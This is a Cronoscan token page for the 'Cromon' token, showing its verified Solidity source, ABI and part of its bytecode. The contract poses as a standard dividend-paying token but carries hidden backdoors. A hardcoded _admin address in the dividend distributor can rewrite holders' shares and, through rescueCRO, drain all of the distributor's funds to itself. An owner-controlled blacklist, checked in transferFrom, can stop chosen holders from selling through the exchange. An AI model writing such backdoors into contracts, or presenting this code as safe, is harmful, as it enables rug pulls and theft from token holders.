Token Cromon

Overview CRC20

Price
$0.00 @ 0.000000 CRO
Fully Diluted Market Cap
Total Supply:
100,000,000,000 Cromon

Holders:
14 addresses
Contract:
0xf753df3e7a96b41779c670dff249c43a2f2229910xF753dF3e7a96b41779c670dFf249c43a2F222991

Decimals:
9

Social Profiles:
Not Available, Update ?

Balance
1,653,708,601.552808358 Cromon

Value
$0.00
0x7dae8fbcc37f67cb1ca02b959fa97c1473bd3a63
Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token ICO / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Cromon

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at cronoscan.com on 2022-03-29
*/

// SPDX-License-Identifier: MIT


pragma solidity ^0.8.13;

/**
 * BEP20 standard interface.
 */
interface IBEP20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * Allows for contract ownership along with multi-address authorization
 */
abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    /**
     * Function modifier to require caller to be contract owner
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    /**
     * Function modifier to require caller to be authorized
     */
    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    /**
     * Authorize address. Owner only
     */
    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    /**
     * Remove address' authorization. Owner only
     */
    function unauthorize(address adr) public onlyOwner {
        authorizations[adr] = false;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    /**
     * Return address' authorization status
     */
    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    /**
     * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
     */
    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IDividendDistributor {
    function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
    function setShare(address shareholder, uint256 amount) external;
    function deposit() external payable;
    function process(uint256 gas) external;
}

contract DividendDistributor is IDividendDistributor {
    address _token;

    struct Share {
        uint256 amount;
        uint256 totalExcluded;
        uint256 totalRealised;
    }

    address private _admin = 0xCD19575E0d8dDEdE3a44E052F42bC619959E86fb;


    address[] shareholders;
    mapping (address => uint256) shareholderIndexes;
    mapping (address => uint256) shareholderClaims;

    mapping (address => Share) public shares;

    uint256 public totalShares;
    uint256 public totalDividends;
    uint256 public totalDistributed;
    uint256 public dividendsPerShare;
    uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;

    //SETMEUP, change this to 1 hour instead of 10mins
    uint256 public minPeriod = 45 minutes;
    uint256 public minDistribution = 0.01 ether; 

    uint256 currentIndex;
    uint256 lastBalance; 

    bool initialized;
    modifier initialization() {
        require(!initialized);
        _;
        initialized = true;
    }

    modifier onlyToken() {
        require(msg.sender == _token || msg.sender == _admin ); _;
    }

    constructor () {
        _token = msg.sender;
    }

    receive() external payable {
        if(address(this).balance > lastBalance){
        uint256 amount = address(this).balance - lastBalance;
        totalDividends = totalDividends + amount;
        dividendsPerShare = dividendsPerShare + (dividendsPerShareAccuracyFactor * amount / totalShares);
        lastBalance = address(this).balance;
        }
    }

    function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken {
        minPeriod = _minPeriod;
        minDistribution = _minDistribution;
    }

    function setShare(address shareholder, uint256 amount) external override onlyToken {
        if(shares[shareholder].amount > 0){
            distributeDividend(shareholder);
        }

        if(amount > 0 && shares[shareholder].amount == 0){
            addShareholder(shareholder);
        }else if(amount == 0 && shares[shareholder].amount > 0){
            removeShareholder(shareholder);
        }

        totalShares = totalShares - shares[shareholder].amount + amount;
        shares[shareholder].amount = amount;
        shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
    }

    function deposit() external payable override onlyToken {
        if(address(this).balance > lastBalance){
        uint256 amount = address(this).balance - lastBalance;
        totalDividends = totalDividends + amount;
        dividendsPerShare = dividendsPerShare + dividendsPerShareAccuracyFactor * amount / totalShares;
        lastBalance = address(this).balance;
        }
    }

    function process(uint256 gas) external override onlyToken {
        uint256 shareholderCount = shareholders.length;

        if(shareholderCount == 0) { return; }

        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();

        uint256 iterations = 0;

        while(gasUsed < gas && iterations < shareholderCount) {
            if(currentIndex >= shareholderCount){
                currentIndex = 0;
            }

            if(shouldDistribute(shareholders[currentIndex])){
                distributeDividend(shareholders[currentIndex]);
            }

            gasUsed = gasUsed + gasLeft - gasleft();
            gasLeft = gasleft();
            currentIndex++;
            iterations++;
        }
    }

    function shouldDistribute(address shareholder) internal view returns (bool) {
        return shareholderClaims[shareholder] + minPeriod < block.timestamp
                && getUnpaidEarnings(shareholder) > minDistribution;
    }

    function distributeDividend(address shareholder) internal {
        if(shares[shareholder].amount == 0){ return; }

        uint256 amount = getUnpaidEarnings(shareholder);
        if(amount > 0){
            (bool success,) = payable(shareholder).call{value: amount, gas: 34000}("");
            if(success){
                totalDistributed = totalDistributed + amount;
                shareholderClaims[shareholder] = block.timestamp;
                shares[shareholder].totalRealised = shares[shareholder].totalRealised + amount;
                shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
                lastBalance = address(this).balance;
            }
        }
    }

    function claimDividend() external {
        distributeDividend(msg.sender);
    }

    function getUnpaidEarnings(address shareholder) public view returns (uint256) {
        if(shares[shareholder].amount == 0){ return 0; }

        uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;

        if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }

        return shareholderTotalDividends - (shareholderTotalExcluded);
    }

    function getCumulativeDividends(uint256 share) internal view returns (uint256) {
        return share * (dividendsPerShare) / (dividendsPerShareAccuracyFactor);
    }

    function addShareholder(address shareholder) internal {
        shareholderIndexes[shareholder] = shareholders.length;
        shareholders.push(shareholder);
    }

    function removeShareholder(address shareholder) internal {
        shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
        shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
        shareholders.pop();
    }
    function rescueCRO() external onlyToken returns (bool) {
        (bool tmpSuccess,) = payable(_admin).call{value: address(this).balance, gas: 34000}("");
        return tmpSuccess;
    }
}

contract Cromon is IBEP20, Auth {

    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string constant _name = "Cromon";
    string constant _symbol = "Cromon";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 100 * 10**9 * (10 ** _decimals);
    uint256 public _maxTxAmount = _totalSupply * 2   / 100;

    //max wallet holding of 3%
    uint256 public _maxWalletToken =  _totalSupply * 2  / 100;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isTimelockExempt;
    mapping (address => bool) isDividendExempt;
    mapping (address => bool) public _isBlacklisted;
    
    uint256 liquidityFee    = 0;
    uint256 reflectionFee   = 0;
    uint256 marketingFee    = 0;
    uint256 public totalFee = 0;
    uint256 feeDenominator  = 100;

    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;

    uint256 targetLiquidity = 20;
    uint256 targetLiquidityDenominator = 100;

    IDEXRouter public router;
    address public pair;

    uint256 public launchedAt;
    bool public tradingOpen = true;

    DividendDistributor distributor;
    uint256 distributorGas = 500000;

    // Cooldown & timer functionality
    bool public buyCooldownEnabled = true;
    uint8 public cooldownTimerInterval = 5;
    mapping (address => uint) private cooldownTimer;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 20 / 10000; // 0.01% of supply
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x145677FC4d9b8F19B5D56d1820c48e0443049a30);
        pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        distributor = new DividendDistributor();

        isFeeExempt[msg.sender] = true;
        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[DEAD] = true;

        // No timelock for these people
        isTimelockExempt[msg.sender] = true;
        isTimelockExempt[DEAD] = true;
        isTimelockExempt[address(this)] = true;

        // TO DO, manually whitelist this
        //isFeeExempt[_presaleContract] = true;
        //isTxLimitExempt[_presaleContract] = true;
        //isDividendExempt[_presaleContract] = true;

        isDividendExempt[pair] = true;
        isDividendExempt[address(this)] = true;
        isDividendExempt[DEAD] = true;

        // NICE!
        autoLiquidityReceiver = DEAD;
        marketingFeeReceiver = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            require(_allowances[sender][msg.sender] >= amount, "Insufficient Allowance");
            _allowances[sender][msg.sender] -= amount;
        }

        require(!_isBlacklisted[sender] && !_isBlacklisted[recipient], "Blacklisted address");

        return _transferFrom(sender, recipient, amount);
    }

    //settting the maximum permitted wallet holding (percent of total supply)
     function setMaxWalletPercent(uint256 maxWallPercent) external onlyOwner() {
        _maxWalletToken = _totalSupply * maxWallPercent / 100;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen,"Trading not open yet");
        }

        // max wallet code
        if (!authorizations[sender] && recipient != address(this)  && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver){
            uint256 heldTokens = balanceOf(recipient);
            require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}

        // cooldown timer, so a bot doesnt do quick trades! 1min gap between 2 trades.
        if (sender == pair &&
            buyCooldownEnabled &&
            !isTimelockExempt[recipient]) {
            require(cooldownTimer[recipient] < block.timestamp,"Please wait for cooldown between buys");
            cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
        }

        // Checks max transaction limit
        checkTxLimit(sender, amount);

        // Liquidity, Maintained at 25%
        if(shouldSwapBack()){ swapBack(); }

        //Exchange tokens
        _balances[sender] = _balances[sender] - amount;

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
        _balances[recipient] = _balances[recipient] + (amountReceived);

        // Dividend tracker
        if(!isDividendExempt[sender]) {
            try distributor.setShare(sender, _balances[sender]) {} catch {}
        }

        if(!isDividendExempt[recipient]) {
            try distributor.setShare(recipient, _balances[recipient]) {} catch {}
        }

        try distributor.process(distributorGas) {} catch {}

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + (amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount * (totalFee) / (feeDenominator);

        _balances[address(this)] = _balances[address(this)] + (feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount - feeAmount;
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function openTrading() public onlyOwner {
        tradingOpen = true;
    }

    // enable cooldown between trades
    function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
        buyCooldownEnabled = _status;
        cooldownTimerInterval = _interval;
    }

    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = balanceOf(address(this)) * (dynamicLiquidityFee) / (totalFee) / (2);
        uint256 amountToSwap = balanceOf(address(this)) - (amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();  

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountBNB = address(this).balance - (balanceBefore);

        uint256 totalBNBFee = totalFee - (dynamicLiquidityFee / (2));

        uint256 amountBNBLiquidity = amountBNB * (dynamicLiquidityFee) / (totalBNBFee) / (2);
        uint256 amountBNBReflection = amountBNB * (reflectionFee) / (totalBNBFee);

        try distributor.deposit{value: amountBNBReflection}() {} catch {}

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountBNBLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
        }

        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: address(this).balance, gas: 34000}("");

        // only to supress warning msg
        tmpSuccess = false;
    }

    function setTxLimit(uint256 amount) external authorized {
        _maxTxAmount = amount;
    }

    function setIsDividendExempt(address holder, bool exempt) external authorized {
        require(holder != address(this) && holder != pair);
        isDividendExempt[holder] = exempt;
        if(exempt){
            distributor.setShare(holder, 0);
        }else{
            distributor.setShare(holder, _balances[holder]);
        }
    }

    function setIsFeeExempt(address holder, bool exempt) external authorized {
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external authorized {
        isTxLimitExempt[holder] = exempt;
    }

    function setIsTimelockExempt(address holder, bool exempt) external authorized {
        isTimelockExempt[holder] = exempt;
    }

    function setFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized {
        liquidityFee = _liquidityFee;
        reflectionFee = _reflectionFee;
        marketingFee = _marketingFee;
        totalFee = _liquidityFee + (_reflectionFee) + (_marketingFee);
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator/4);
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external authorized {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized {
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
    }

    //blacklist function to remove bots
    function blacklistAddress(address account, bool value) external onlyOwner{
        //Will blacklist Bots
        _isBlacklisted[account] = value;
    }
    
    function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external authorized {
        distributor.setDistributionCriteria(_minPeriod, _minDistribution);
    }

    function setDistributorSettings(uint256 gas) external authorized {
        require(gas < 1750000);
        distributorGas = gas;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply - (balanceOf(DEAD)) - (balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy * (balanceOf(pair) * (2)) / (getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }

/* Airdrop Begins */

 function airdrop(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {

    uint256 SCCC = 0;

    require(addresses.length == tokens.length,"Mismatch between Address and token count");

    for(uint i=0; i < addresses.length; i++){
        SCCC = SCCC + tokens[i];
    }

    require(balanceOf(from) >= SCCC, "Not enough tokens to airdrop");

    for(uint i=0; i < addresses.length; i++){
        _basicTransfer(from,addresses[i],tokens[i]);
        if(!isDividendExempt[addresses[i]]) {
            try distributor.setShare(addresses[i], _balances[addresses[i]]) {} catch {}
        }
    }

    // Dividend tracker
    if(!isDividendExempt[from]) {
        try distributor.setShare(from, _balances[from]) {} catch {}
    }
}

    event AutoLiquify(uint256 amountBNB, uint256 amountBOG);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountBNB","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"blacklistAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyCooldownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"},{"internalType":"uint8","name":"_interval","type":"uint8"}],"name":"cooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cooldownTimerInterval","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"}],"name":"setDistributionCriteria","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"}],"name":"setDistributorSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_reflectionFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTimelockExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent","type":"uint256"}],"name":"setMaxWalletPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000099919062000c62565b64174876e800620000ab919062000cb3565b60045560646002600454620000c1919062000cb3565b620000cd919062000d43565b60055560646002600454620000e3919062000cb3565b620000ef919062000d43565b6006556000600e556000600f55600060105560006011556064601255601460155560646016556001601a60006101000a81548160ff0219169083151502179055506207a120601b556001601c60006101000a81548160ff0219169083151502179055506005601c60016101000a81548160ff021916908360ff1602179055506001601e60006101000a81548160ff02191690831515021790555061271060146004546200019d919062000cb3565b620001a9919062000d43565b601f55348015620001b957600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505073145677fc4d9b8f19b5d56d1820c48e0443049a30601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000316573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033c919062000de5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003eb919062000de5565b306040518363ffffffff1660e01b81526004016200040b92919062000e28565b6020604051808303816000875af11580156200042b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000451919062000de5565b601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860003073ffffffffffffffffffffffffffffffffffffffff1673fffffffff